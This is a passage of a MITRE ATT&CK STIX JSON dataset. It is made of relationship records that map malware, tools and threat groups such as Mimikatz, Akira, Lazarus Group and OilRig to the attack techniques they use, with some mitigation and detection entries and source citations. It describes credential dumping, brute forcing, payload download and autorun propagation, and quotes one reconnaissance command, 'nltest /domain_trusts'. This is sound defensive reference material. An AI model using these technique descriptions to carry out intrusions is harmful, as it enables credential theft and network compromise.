2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7eef6b42-8c4c-4619-b0ed-fa17f16de722","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.402Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) prompts the users for credentials.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ef04aca-4890-4035-8c0b-69d9a78e8029","type":"relationship","created":"2020-06-01T14:41:54.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.770Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to download a DLL from C2 to a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ef41aaa-7625-4168-b040-92972454b8fb","created":"2024-04-04T18:02:03.029Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:02:03.029Z","description":"[Akira](https://attack.mitre.org/software/S1129) can identify remote file shares for encryption.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ef8afb4-2bfa-471b-a412-b1862418be3e","type":"relationship","created":"2020-02-21T20:22:13.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T23:09:25.434Z","description":"Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security/logging services.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7efb7077-5119-4508-b467-f7da76cc6df6","type":"relationship","created":"2021-09-29T22:24:15.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.759Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f04a14f-ab65-4ad5-9d67-a4b509ba8087","type":"relationship","created":"2020-03-19T23:37:02.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/gentilkiwi/mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","source_name":"Deply Mimikatz"},{"url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","source_name":"GitHub Mimikatz lsadump Module"},{"url":"https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/","description":"Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.","source_name":"Directory Services Internals DPAPI Backup Keys Oct 2015"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.037Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the SAM table.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f08eca5-83e2-4d12-9c65-69691fbed054","created":"2022-09-22T18:26:20.391Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:26:20.391Z","description":"During [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) relied on a student target to open a malicious document delivered via email.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f0f21db-5bb8-465c-9141-d1b5172d0756","type":"relationship","created":"2020-03-19T20:22:29.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.143Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit path interception opportunities in the PATH environment variable.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f152b13-3aae-4c67-b8f3-391cac671aed","created":"2023-09-13T20:06:37.222Z","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T20:06:37.222Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can execute `WScript.Sleep` to delay execution of its second stage.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T19:50:28.704Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has deleted and overwrote files to cover tracks.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f18d24e-fffe-413f-96ff-612b3e9bedd6","type":"relationship","created":"2020-03-02T19:28:55.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-18T01:55:03.207Z","description":"Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f1c1e43-07dc-4deb-a27f-9f140a894c51","created":"2022-03-15T20:08:18.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.414Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) has automatically collected data from USB drives, keystrokes, and screen images before exfiltration.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:01:18.349Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) uses Base64 encoding for C2 traffic.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f249ef4-8a3c-4ab5-998f-256ac8ecf588","type":"relationship","created":"2020-07-22T19:16:02.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-07-22T19:16:02.900Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) can download additional scripts from a web server.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f297acc-8edb-4191-a8ce-3e867b2f20dc","type":"relationship","created":"2020-03-02T14:30:05.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T14:30:05.457Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f306f1f-bd04-460f-929a-621f458dcd04","type":"relationship","created":"2020-02-25T18:34:38.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-25T18:34:38.377Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f31ac80-5e21-4449-8bb3-9c2ad943dc08","type":"relationship","created":"2020-06-08T18:08:06.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:08:06.453Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify running processes and associated plugins on an infected host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f32b01c-ecf6-457e-8bca-6c74c02b439e","created":"2022-05-25T19:42:58.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:26:47.678Z","description":"(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f3c015e-d95d-4d35-a583-236134464554","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-11T17:45:18.410Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f3d9b01-3999-4db2-83eb-f517459b4769","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f4685df-335f-4c8a-900a-4018e52d92c3","created":"2024-05-29T17:54:30.309Z","revoked":false,"external_references":[{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T17:54:30.309Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can inspect the User-Agent string in GET request header information to determine the operating system of targeted systems.(Citation: Sophos Gootloader)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f499274-44b7-4415-a8e8-6b2134a7873e","type":"relationship","created":"2020-07-23T14:20:48.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.632Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has included a program \"ExeProtector\", which monitors for the existence of [GoldenSpy](https://attack.mitre.org/software/S0493) on the infected system and redownloads if necessary.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f58088d-9b5d-46ba-b9e4-fc937ffae294","type":"relationship","created":"2021-03-31T19:54:46.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T19:54:46.818Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) can stop and disable services on the system.(Citation: IBM MegaCortex) ","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f5933ff-6665-4bee-a291-0152c928747d","type":"relationship","created":"2019-02-14T17:08:55.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Nltest Manual","url":"https://ss64.com/nt/nltest.html","description":"ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."},{"description":"Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot’s New Reconnaissance Plugin. Retrieved February 14, 2019.","url":"https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html","source_name":"Fortinet TrickBot"}],"modified":"2019-04-22T19:06:17.454Z","description":"[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate trusted domains by using commands such as nltest /domain_trusts.(Citation: Nltest Manual)(Citation: Fortinet TrickBot)","relationship_type":"uses","source_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f659555-cfc4-420f-8548-3a89aa1da8c9","type":"relationship","created":"2020-12-15T01:30:05.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-23T16:40:34.206Z","description":"[Spark](https://attack.mitre.org/software/S0543) can collect the hostname, keyboard layout, and language from the system.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553","created":"2017-05-31T21:33:27.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Tools","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.","url":"https://web.archive.org/web/20220425194457/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:05:03.630Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware KiloAlfa contains keylogging functionality.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Tools)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7f7226d7-6980-402a-b10e-e81b50c7ee09","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T20:45:43.057Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used brute force techniques to obtain credentials.(Citation: FireEye APT34 Webinar Dec 